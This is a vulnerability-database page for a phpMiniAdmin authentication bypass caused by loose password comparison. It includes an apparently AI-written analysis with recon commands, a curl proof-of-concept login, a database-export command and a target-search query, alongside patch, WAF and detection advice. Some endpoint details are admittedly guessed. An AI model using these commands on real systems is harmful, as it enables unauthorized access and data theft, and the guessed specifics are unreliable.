CVE Professor
/
All CVEs
CVE-2026-129715

CVE-2026-129715 — Osalabs PhpMiniAdmin (1.9.240801) — CWE-1024

CRITICAL CVSS 9.5 NVD

Authentication bypass due to implicit type conversion in phpMiniAdmin, versions 1.9.150108 through 1.9.240801, both inclusive. phpMiniAdmin compares the received password with the configured one using a non-strict comparison. If the configured password is interpreted as a numeric value, a remote attacker could submit a different string that PHP treats as equivalent and log in without valid credentials. The session grants access to the administrative interface and allows the execution of SQL queries or the import and export of data within the permissions of the database account.

Authentication bypass due to implicit type conversion in phpMiniAdmin, versions 1.9.150108 through 1.9.240801, both inclusive. phpMiniAdmin compares the received password with the configured one using a non-strict comparison. If the configured password is interpreted as a numeric value, a remote attacker could submit a different string that PHP treats as equivalent and log in without valid credentials. The session grants access to the administrative interface and allows the execution of SQL queries or the import and export of data within the permissions of the database account.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. Present AT:P
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. None SA:N
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑129715 is an authentication bypass caused by implicit type conversion in the login routine of phpMiniAdmin 1.9.150108 – 1.9.240801.
The login script performs a non‑strict comparison (==) between the password supplied by the user and the password stored in the configuration file:

// Simplified excerpt from phpMiniAdmin 1.9.240801
$storedPwd = $config['admin_password'];   // e.g. "12345" or 12345
$providedPwd = $_POST['password'];        // e.g. "12345abc"

if ($providedPwd == $storedPwd) {
    // grant access
}

Because PHP’s loose comparison casts operands to a common type, a numeric string or an integer in the configuration is coerced to a number. Any string that PHP interprets as the same numeric value will satisfy the comparison.

Example:

  • Config password: "12345" (string) → cast to integer 12345

  • Attacker input: "12345abc" → cast to integer 12345

  • Result: 12345 == 12345 → true → login succeeds.
  • This flaw is a textbook case of CWE‑1024: Implicit Type Conversion and is reflected in the CVSS vector:

  • AV:N / AC:L / AT:P / PR:N / UI:N / VC:H / VI:H / VA:H / SC:H / SI:H / SA:N

  • - Network‑accessible, low attack complexity, no user interaction, no privileges required, but full confidentiality, integrity, availability, and scope impact.


    ⚡ Attack Chain

    NOTE: The exact URI for the login endpoint is not specified in the CVE description. The following example uses the most common path (/phpminiadmin/login.php) and is meant to illustrate the exploitation flow. Adjust the path to match the target installation.

    1. Discovery & Reconnaissance

    StepTechniqueWhat to look for
    a. Identify phpMiniAdminHTTP GET to common admin pathshttp://target/phpminiadmin/ or http://target/admin/
    b. Confirm versionInspect index.php or config.php for a define('PHPMINADMIN_VERSION', '1.9.240801'); lineThe version string is usually hard‑coded.
    c. Verify vulnerability windowCheck if the version is ≤ 1.9.240801If yes, the target is vulnerable.

    Reconnaissance example (curl):

    curl -s http://target/phpminiadmin/ | grep -i 'phpMiniAdmin'
    # or
    curl -s http://target/phpminiadmin/config.php | grep -i 'PHPMINADMIN_VERSION'

    2. Exploitation

    1. Craft a password that will be type‑juggled.
    - If the stored password is numeric (e.g., 12345), use any string that PHP will cast to that number (12345abc, 12345.0, 12345e0).
    2. Send a POST request to the login endpoint.
    - The form fields are typically username and password.
    - The username can be any value; the script only checks the password.

    Illustrative PoC (curl):

    curl -X POST \
         -d "username=admin" \
         -d "password=12345abc" \
         -c /tmp/cookie.txt \
         -s -o /dev/null -w "%{http_code}\n" \
         http://target/phpminiadmin/login.php
  • Expected response: HTTP 200 with a session cookie (Set-Cookie: PHPSESSID=...).
  • Result: The attacker is now authenticated as an administrator.
  • Important: If the login form uses a different field name (e.g., pass), adjust the -d parameters accordingly.

    3. Post‑Exploitation

    Once authenticated, the attacker gains the same privileges as the database account used by phpMiniAdmin. Typical actions include:

    ActionImpact
    Execute arbitrary SQL queriesRead, modify, or delete any data in the database.
    Import/export dataExfiltrate large volumes of data via the export feature.
    Create new admin accountsPersist access by adding new users.
    Modify configurationDisable security features or enable logging.

    Example: Exporting the entire database

    curl -b /tmp/cookie.txt \
         -X POST \
         -d "action=export" \
         -d "format=sql" \
         http://target/phpminiadmin/admin.php > backup.sql

    The resulting backup.sql file contains all tables and data, effectively giving the attacker full data exfiltration capability.


    🌍 Real World Impact

    ImpactCVSS ComponentExplanation
    ConfidentialityVC:HFull database read access.
    IntegrityVI:HAbility to modify or delete any record.
    AvailabilityVA:HMass deletion or corruption of data can render the application unusable.
    ScopeSC:HThe vulnerability affects the entire application and its underlying database.
    System IntegritySI:HThe attacker can alter application configuration, disabling security controls.
    Security FeaturesSA:NNo additional security boundary is affected.

    Practical consequences:

  • Data breach: Sensitive customer or business data can be stolen.
  • Operational disruption: Deleting or corrupting data can halt business processes.
  • Persistence: New admin accounts allow long‑term footholds.
  • Regulatory risk: Loss of data confidentiality can trigger compliance violations (GDPR, HIPAA, etc.).

  • 🛡️ Remediation & Mitigation

    1. Patch

    AffectedFixedUpgrade Recommendation
    phpMiniAdmin 1.9.150108 – 1.9.240801Fixed in 1.9.240802 (strict password comparison)Upgrade to 1.9.240802 or later

    Upgrade steps:

    1. Backup current installation and database.
    2. Download the latest release from the official repository.
    3. Replace the old files, preserving config.php.
    4. Verify that the login script now uses === or hash_equals().

    2. Workarounds (if upgrade is not immediately possible)

    MitigationImplementation
    Force strict comparisonEdit login.php (or equivalent) to replace == with === or hash_equals(). Example:
    ``php<br>$storedPwd = $config['admin_password'];<br>$providedPwd = $_POST['password'];<br>if (hash_equals($storedPwd, $providedPwd)) { /* grant access */ }<br>`
    Disable web‑accessible loginMove config.php outside the web root or protect it with .htaccess (Apache) or location block (NGINX).
    Restrict access to admin interfaceUse IP whitelisting or VPN to limit who can reach /phpminiadmin/.
    WAF ruleBlock POST requests where the password field contains non‑numeric characters while the stored password is numeric. Example ModSecurity rule:
    `modsecurity<br>SecRule REQUEST_URI "@beginsWith /phpminiadmin/login.php" "phase:2,block,log,msg:'Potential type‑juggling login attempt'"<br>SecRule REQUEST_HEADERS:Content-Type "application/x-www-form-urlencoded" "phase:2,chain"<br>SecRule ARGS:password \"[^\d]\" \"t:none,chain\"<br>SecRule ARGS:password \"^\d+$\" \"t:none,allow\"<br>``
    Caution: The WAF rule above is illustrative; adjust the regex to match your environment.

    3. Detection

    Log sourceIndicator of Compromise (IoC)
    Web server access logsRepeated POSTs to /phpminiadmin/login.php with passwords containing alphabetic characters while the stored password is numeric.
    PHP error logsNotices about type juggling or failed password comparisons (if error reporting is enabled).
    Database logsUnexpected SELECT/INSERT/UPDATE/DELETE statements originating from the phpMiniAdmin user.

    Sample detection rule (Apache logs):

    # Detect suspicious login attempts
    SetEnvIf Request_URI "^/phpminiadmin/login\.php$" suspicious_login
    SetEnvIf Request_URI "^/phpminiadmin/login\.php$" suspicious_password ".*[A-Za-z].*"
    CustomLog /var/log/apache2/suspicious.log "%h %l %u %t \"%r\" %>s %b" env=suspicious_login

    ⚠️ Urgency

  • CVSS score: 9.5/10 (CRITICAL)
  • Exploit complexity: Low (network‑based, no user interaction)
  • Impact: Full data exfiltration, integrity compromise, and availability loss
  • CISA KEV: No (but the vulnerability is still critical)
  • Priority: Immediate.

  • If the affected version is in production, patch or apply a workaround within 24 hours.

  • If the application is exposed to the internet, block the admin interface or restrict IPs until a fix is deployed.

  • Monitor logs for suspicious login attempts and enforce strict password comparison as a temporary mitigant.




[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
CVSS Score
9.5 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-1024
Affected Products (1)
Osalabs:phpMiniAdmin (1.9.240801)
References & Advisories (1)
Related CVEs
10.0
CVE-2026-133300
Incorrect authorization in Azure Center for SAP Solutions allows an unauthorized attacker to execute code over
10.0
CVE-2026-130609
Deserialization of untrusted data vulnerability in DİA Yazılım Sanayi ve Ticaret A.Ş. DİA ERP allows Cros
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.9
CVE-2026-77526
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3
9.8
CVE-2026-139934
Microsoft Azure API Management contains an incorrect authorization vulnerability that allows an unauthenticate
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa